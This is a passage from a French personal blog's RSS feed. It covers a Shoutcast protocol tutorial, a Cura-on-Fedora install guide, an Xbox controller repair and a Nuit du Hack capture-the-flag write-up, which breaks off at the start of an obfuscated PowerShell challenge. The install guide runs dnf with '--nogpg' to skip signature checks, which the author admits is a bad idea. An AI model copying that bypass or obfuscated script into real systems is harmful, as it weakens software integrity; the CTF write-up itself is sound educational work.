    &lt;span class=&quot;n&quot;&gt;metadata_size_raw&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;reader&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;readexactly&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;metadata_size_bytes&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; \
      &lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;from_bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;metadata_size_raw&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;big&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;metadata_content&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; \
      &lt;span class=&quot;k&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;reader&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;readexactly&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;metadata_size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;metadata_size&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; 
      &lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;metadata_content&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Nous y voilà ! On récupère exactement le nombre de bytes indiqués par l’en-tête. Puis nous lisons un octet, qui va nous permettre de calculer la taille des métadonnées, nous allons lire exactement ce nombre d’octets. Les méta données sont du simple texte, donc on les affiche. Ici, on ne fait rien avec l’audio, mais il faudrait écrire le contenu de audio dans notre lecteur. Ce dernier fournirait probablement un Stream dans lequel on pourrait écrire le contenu de la variable. Il suffit ensuite de répéter cette action en boucle.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Attention ! Les métadonnées seront la plupart du temps vides. En effet, pas besoin de renvoyer le titre de la chanson quand il n’a pas changé. Donc il sera envoyé uniquement au lancement du stream puis à chaque changement de chanson. Le reste du temps, les métadonnées indiqueront que leur taille est de zéro.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Et voilà la sortie de notre application :&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ python3 /tmp/icy.py 
End of metadata part, all key/value headers have been read
b&quot;StreamTitle=&apos;SOPHIE ELLIS BEXTOR - MURDER ON THE DANCEFLOOR - 2002&apos;;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&quot;
b&quot;StreamTitle=&apos;QUINTINO - CAN&apos;T BRING ME DOWN - 2019&apos;;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&quot;
b&quot;StreamTitle=&apos;DIRTY VEGAS - WHY DID YOU DO IT 2K19&apos;;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&quot;
b&quot;StreamTitle=&apos;FMZ - GET DOWN TO THIS - 2010&apos;;\x00\x00\x00\x00&quot;
b&quot;StreamTitle=&apos;MOSIMANN + MARUV - MON AMOUR - 2019&apos;;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&quot;
b&quot;StreamTitle=&apos;DUA LIPA - SWAN SONG (REMIX) 2019&apos;;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&quot;
b&quot;StreamTitle=&apos;MILK &amp;amp; SUGAR - LOVE IS IN THE AIR 2K19&apos;;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&quot;
b&quot;StreamTitle=&apos;PAPA ZEUS - ABOUT YOU - 2019&apos;;\x00\x00\x00\x00\x00&quot;
b&quot;StreamTitle=&apos;DON DIABLO - BRAVE - 2019&apos;;\x00\x00\x00\x00\x00\x00\x00\x00&quot;
b&quot;StreamTitle=&apos;MARTIN GARRIX - SUMMER DAYS - 2019&apos;;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&quot;
b&quot;StreamTitle=&apos;DEORRO - FIVE HOURS - 2014&apos;;\x00\x00\x00\x00\x00\x00\x00&quot;
b&quot;StreamTitle=&apos;INTERNATIONAL DRINKING PARTY - DESOLEE - 2017&apos;;\x00\x00\x00\x00&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Le code complet de l’exemple se trouve dans ce fichier &lt;a href=&quot;/assets/code/icy.py&quot;&gt;icy.py&lt;/a&gt;.&lt;/p&gt;
</description>
        <pubDate>Tue, 06 Aug 2019 00:00:00 +0200</pubDate>
        <link>https://quentin.dufour.io/blog/2019-08-06/le-protocole-shoutcast-au-scalpel/</link>
        <guid isPermaLink="true">https://quentin.dufour.io/blog/2019-08-06/le-protocole-shoutcast-au-scalpel/</guid>
      </item>
    
    
    
      <item>
        <title>Utiliser une Alfawise U30 depuis Fedora</title>
        
        <description>&lt;p&gt;L’Alfawise U30 n’a été intégrée que récemment dans Cura et n’est disponible que depuis le dépôt.
Qui plus est, la dernière version majeur de Cura, la version 4, est encore en beta et n’est pas non plus disponible dans Fedora stable.&lt;/p&gt;

&lt;p&gt;Nous allons donc installer Cura 4 beta depuis Fedora Rawhide (unstable) puis télécharger les fichiers de définition de l’Alfawise U30 depuis le dépôt officiel.
Une fois le code actuel du dépot publié dans une version stable, ce guide sera inutile.&lt;/p&gt;

&lt;h2 id=&quot;installer-cura-4&quot;&gt;Installer Cura 4&lt;/h2&gt;

&lt;p&gt;Nous allons tout d’abord commencer par installer un paquet qui permet d’activer les dépôts instables (mais seulement sur demande) :&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;dnf &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;fedora-repos-rawhide
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Ensuite installons Cura depuis les dépôts instables.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;dnf &lt;span class=&quot;nb&quot;&gt;install&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--nogpg&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--enablerepo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;rawhide cura
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Il semble y avoir un bug avec les clés PGP qui ne sont pas correctement installés pour le dépôt instable, j’ai donc désactivé la vérification juste pour cette commande.
Cela reste une très mauvaise idée et corriger durablement ce bug en important les clés PGP serait une meilleur solution.&lt;/strong&gt;&lt;/p&gt;

&lt;h2 id=&quot;installer-les-définitions-de-lalfawise-u30&quot;&gt;Installer les définitions de l’Alfawise U30&lt;/h2&gt;

&lt;p&gt;Les configurations pour les imprimantes 3D sont contenues dans des fichiers JSON.
Nous allons donc les télécharger au bon endroit, tout simplement :&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;cd&lt;/span&gt; /usr/share/cura/resources/definitions/
&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;wget https://raw.githubusercontent.com/Ultimaker/Cura/137619567a1d68139444f0fea76a022d63d86a0b/resources/definitions/alfawise_u30.def.json
&lt;span class=&quot;nb&quot;&gt;cd&lt;/span&gt; /usr/share/cura/resources/extruders
&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;wget https://raw.githubusercontent.com/Ultimaker/Cura/057c30f86e86635721e8a269d864e1597699c834/resources/extruders/alfawise_u30_extruder_0.def.json
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Et voilà, ce devrait être bon, bonne impression !&lt;/p&gt;
</description>
        <pubDate>Fri, 31 May 2019 00:00:00 +0200</pubDate>
        <link>https://quentin.dufour.io/blog/2019-05-31/alfawise-u30-et-fedora-linux/</link>
        <guid isPermaLink="true">https://quentin.dufour.io/blog/2019-05-31/alfawise-u30-et-fedora-linux/</guid>
      </item>
    
    
    
      <item>
        <title>Réparation d&apos;une manette Xbox One</title>
        
        <description>&lt;p&gt;Depuis maintenant plusieurs mois, j’ai perdu la gachette gauche de ma manette Xbox One, ma seule manette de jeu.
Ce qui est plutôt embêtant, car elle me rend de fiers services quand je joue à Trackmania et plus récemment à Firewatch.
Et pas de chance, bien que la peur n’évite pas le danger, le frein sur la gachette gauche évite les murs sur Trackmania.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/posts/xbox-controller-tm.jpg&quot;&gt;&lt;img src=&quot;/assets/images/posts/xbox-controller-tm.jpg&quot; alt=&quot;Panneau Trackmania &amp;quot;La peur n&apos;évite pas le danger&amp;quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Pas mieux du côté de Firewatch, car il s’agit du talkie walkie, un élément central du jeu. Sans grand espoir, je me suis donc lancé dans la réparation de cette manette, qui n’en est pas à sa première défaillance. En effet, j’ai dû jeter le cable micro-usb à usb fourni avec car il ne fonctionnait plus.&lt;/p&gt;

&lt;h2 id=&quot;dissection-de-la-manette&quot;&gt;Dissection de la manette&lt;/h2&gt;

&lt;p&gt;iFixit, comme toujours, propose &lt;a href=&quot;https://fr.ifixit.com/Vue+%C3%89clat%C3%A9e/Xbox+One+Wireless+Controller+Teardown/72986&quot;&gt;un guide&lt;/a&gt; très pratique pour démonter la manette, que j’ai suivi scrupuleusement.&lt;/p&gt;

&lt;p&gt;En démontant la manette, je me suis rendu compte qu’il manquait une vis à un endroit. Simple oubli ou début de réponse ?&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/posts/xbox-controller-td1.jpg&quot;&gt;&lt;img src=&quot;/assets/images/posts/xbox-controller-td1.jpg&quot; alt=&quot;Vis manquante&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Une fois le démontage fini, je me retrouve avec les différents circuits de ma manette.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/posts/xbox-controller-td2.jpg&quot;&gt;&lt;img src=&quot;/assets/images/posts/xbox-controller-td2.jpg&quot; alt=&quot;Circuit électronique manette xbox&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;En regardant un peu mieux, je me rends compte qu’une vis est aimantée sur la gachette.
En effet, le bout de la gachette possède un aimant relativement puissant.
Même en agitant la manette dans tous les sens, la vis ne risquait pas de se désaimanter.
Vis qui provient probablement de notre emplacement vide précédent…&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/posts/xbox-controller-td3.jpg&quot;&gt;&lt;img src=&quot;/assets/images/posts/xbox-controller-td3.jpg&quot; alt=&quot;La vis perdue est aimantée sur une gachette !&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Une fois enlevée, un rapide test permet de vérifier que ma gachette gauche fonctionne de nouveau&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;En remontant les vis, je me suis rendu compte qu’une des vis tournait plus ou moins dans le vide.
Je pense que le taraudage d’une pièce doit être cassé. La vis avait l’air de bien tenir pour l’instant, je l’ai donc laissée.
Mais si elle venait à se promener de nouveau, un peu de colle pourrait résoudre le problème. Ou simplement l’enlever…
Bref, une réparation plus simple que prévue, c’est suffisament rare pour être signalé ! Essayez de réparer vos objets,
parfois ça vaut le coup !&lt;/p&gt;
</description>
        <pubDate>Sun, 10 Feb 2019 00:00:00 +0100</pubDate>
        <link>https://quentin.dufour.io/blog/2019-02-10/manette-xbox-reparation/</link>
        <guid isPermaLink="true">https://quentin.dufour.io/blog/2019-02-10/manette-xbox-reparation/</guid>
      </item>
    
    
    
      <item>
        <title>Write-Up Wargame Nuit du Hack 16</title>
        
        <description>&lt;p&gt;La seizième édition de la Nuit du Hack s’est tenue ce week-end à la cité des sciences à Paris.
Au programme conférences, ateliers et capture de drapeaux. D’ailleurs la capture de drapeau s’appelle wargame, alors que le wargame s’appelle CTF privé. C’est toujours bon à savoir…&lt;/p&gt;

&lt;p&gt;Notre nouvelle équipe éphémère de choc (sans logo cette fois-ci) se nommait &lt;strong&gt;Blockchain Cyber Digital&lt;/strong&gt;.
Voici le compte-rendu de quelques challenges sur lesquels j’ai travaillés avec les autres membres de l’équipe - merci pour leur aide !&lt;/p&gt;

&lt;h2 id=&quot;césar&quot;&gt;César&lt;/h2&gt;

&lt;p&gt;César n’était pas un challenge proposé par la nuit du hack mais par l’entreprise I-Tracing présente sur l’évènement.
Les challenges étaient disponibles à l’adresse suivante : &lt;a href=&quot;https://cyberpunk2048.i-tracing.com/&quot;&gt;cyberpunk2048.i-tracing.com&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;On récupérait un fichier texte nommé &lt;a href=&quot;/assets/code/communication_vBZvcbm.txt&quot;&gt;communication_vBZvcbm.txt&lt;/a&gt; qu’il fallait décoder.&lt;/p&gt;

&lt;p&gt;Le nom du challenge nous indiquait que c’était un &lt;a href=&quot;https://fr.wikipedia.org/wiki/Chiffrement_par_d%C3%A9calage&quot;&gt;chiffrement de César&lt;/a&gt; qu’il fallait décoder.
Il reste deux inconnues : le décalage et le nombre de symboles.&lt;/p&gt;

&lt;p&gt;En général, on a 26 symboles, les 26 lettres de l’alphabet, pas d’accent, la casse (majuscules et minuscules) n’est pas prise en compte. Donc pour un décalage de 5, si on a un Y au départ, on obtient un D (Z, A, B, C, D). Ici, on n’a pas que des caractères de l’alphabet au départ, donc ça se complique.&lt;/p&gt;

&lt;p&gt;Nous avons commencé par supposer un chiffrement de césar sur un octet (donc 256 possibilités). Cela nous donnait quelque chose d’à moitié cohérent. Après avoir longuement admiré &lt;a href=&quot;https://fr.wikipedia.org/wiki/American_Standard_Code_for_Information_Interchange#Table_des_128_caract%C3%A8res_ASCII&quot;&gt;une table ASCII&lt;/a&gt;, nous nous sommes rappelés que les caractès étaient encodés sur 7 bits et non 8 (donc 128 possibilités), ce qui nous donnait quelque chose de beaucoup plus cohérent. Nous aurions pu également regarder la répartition des octets de départ et observer qu’ils étaient tous compris entre 0 et 127.&lt;/p&gt;

&lt;p&gt;Il nous restait alors à trouver le décalage. Pour ça nous avons tenté toutes les possibilités. Dans notre cas, il s’agissait d’un décalage de 75.&lt;/p&gt;

&lt;p&gt;On avait donc :&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;decode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;encode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;75&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;128&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Et voici un script python 3 simple pour réaliser toutes les étapes (appuyez sur entrée pour essayer une nouvelle valeur de n) :&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;communication_vBZvcbm.txt&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;rb&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;all_bytes&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;readlines&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;all_bytes&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;all_bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;all_bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;128&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
      &lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\033&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
      &lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;==== try number &lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; ==== &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n\n&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;dec&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;all_bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;all_bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)):&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;dec&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;all_bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;128&lt;/span&gt;
      &lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;chr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dec&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]))&lt;/span&gt;
      &lt;span class=&quot;nf&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;em&gt;NB: si vous obtenez un &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;TypeError: cannot concatenate &apos;str&apos; and &apos;int&apos; objects&lt;/code&gt; c’est que vous venez d’exécuter le script avec python 2 au lieu de python 3. &lt;a href=&quot;/assets/code/cesar-python2.py&quot;&gt;Voir le script en python 2&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Le message une fois déchiffré était le suivant :&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Bonjour,
Je suis Anna Gonsalves, membre d’APORIA (Alliance de PrOtection contRe les Intelligences Artificielles). Vous ne connaissez probablement pas cette organisation et cela est normal … elle n’a ete cree qu’en 2048.
Si vous ne participez pas a ce challenge, voila ce qu’il va se passer !
Les intelligences artificielles ont pris le controle du monde et ont decide d’exterminer l’humanite.
Tout a commence en 2020, avec l’arrive d’une toute nouvelle facon de concevoir les intelligences artificielles. Pour que ces dernieres comprennent notre monde, des gigantesques fichiers ont servi de base a ces dernieres pour leur apprendre l’histoire de la planete.
Son objectif : sauver l’environnement. Pour chaque donnee historique, il y avait des indicateurs associes indiquant les impacts sur la nature, la biodiversite.
Apres des annees et des annees d’apprentissage, celle-ci trouva un moyen pour le moins radical de resoudre ces problemes : exterminer l’humanite pour mieux se concentrer sur la reparation de l’environnement. Et nous devons bien admettre qu’elle n’est pas loin d’avoir rempli tous ses objectifs.&lt;/p&gt;

  &lt;p&gt;Enfin bref, nous n’avons pas pu trouver Sarah Connor donc on va dire que vous ferez l’affaire, quiconque que vous soyez. Je vous expliquerai plus tard la suite de notre histoire.
Voici le code pour continuer votre mission : S05_Fu7Ur_Ap0RiA 
Bonne chance !&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Le drapeau était donc : &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;S05_Fu7Ur_Ap0RiA&lt;/code&gt;.&lt;/p&gt;

&lt;h2 id=&quot;ghost-in-the-powershell&quot;&gt;Ghost in the PowerShell&lt;/h2&gt;

&lt;p&gt;Ce challenge consiste à retouver le drapeau dans un code écrit dans un langage de script, ici Powershell mais souvent Python ou Javascript et qui a été obscurci, c’est à dire rendu difficilement compréhensible pour un être humain.&lt;/p&gt;

&lt;p&gt;Le fichier fourni se nommait &lt;a href=&quot;/assets/code/ghostinthepowershell.ps1&quot;&gt;ghostinthepowershell.ps1&lt;/a&gt; et commence comme ça :&lt;/p&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cm&quot;&gt;&amp;lt;#████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████#&amp;gt;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;${DONTREv`ERs`E`ME1}&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Text.Encoding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Unicode.GetString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Convert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;FromBase64String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;ewAxADEAfQB7ADEAMgB9AHsANgB9AHsAOQB9AHsAMQAwAH0AewA4AH0AewAwAH0AewAyAH0AewA0AH0AewA3AH0AewA1AH0AewAzAH0AewAxAH0A&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;cm&quot;&gt;&amp;lt;#████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████#&amp;gt;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
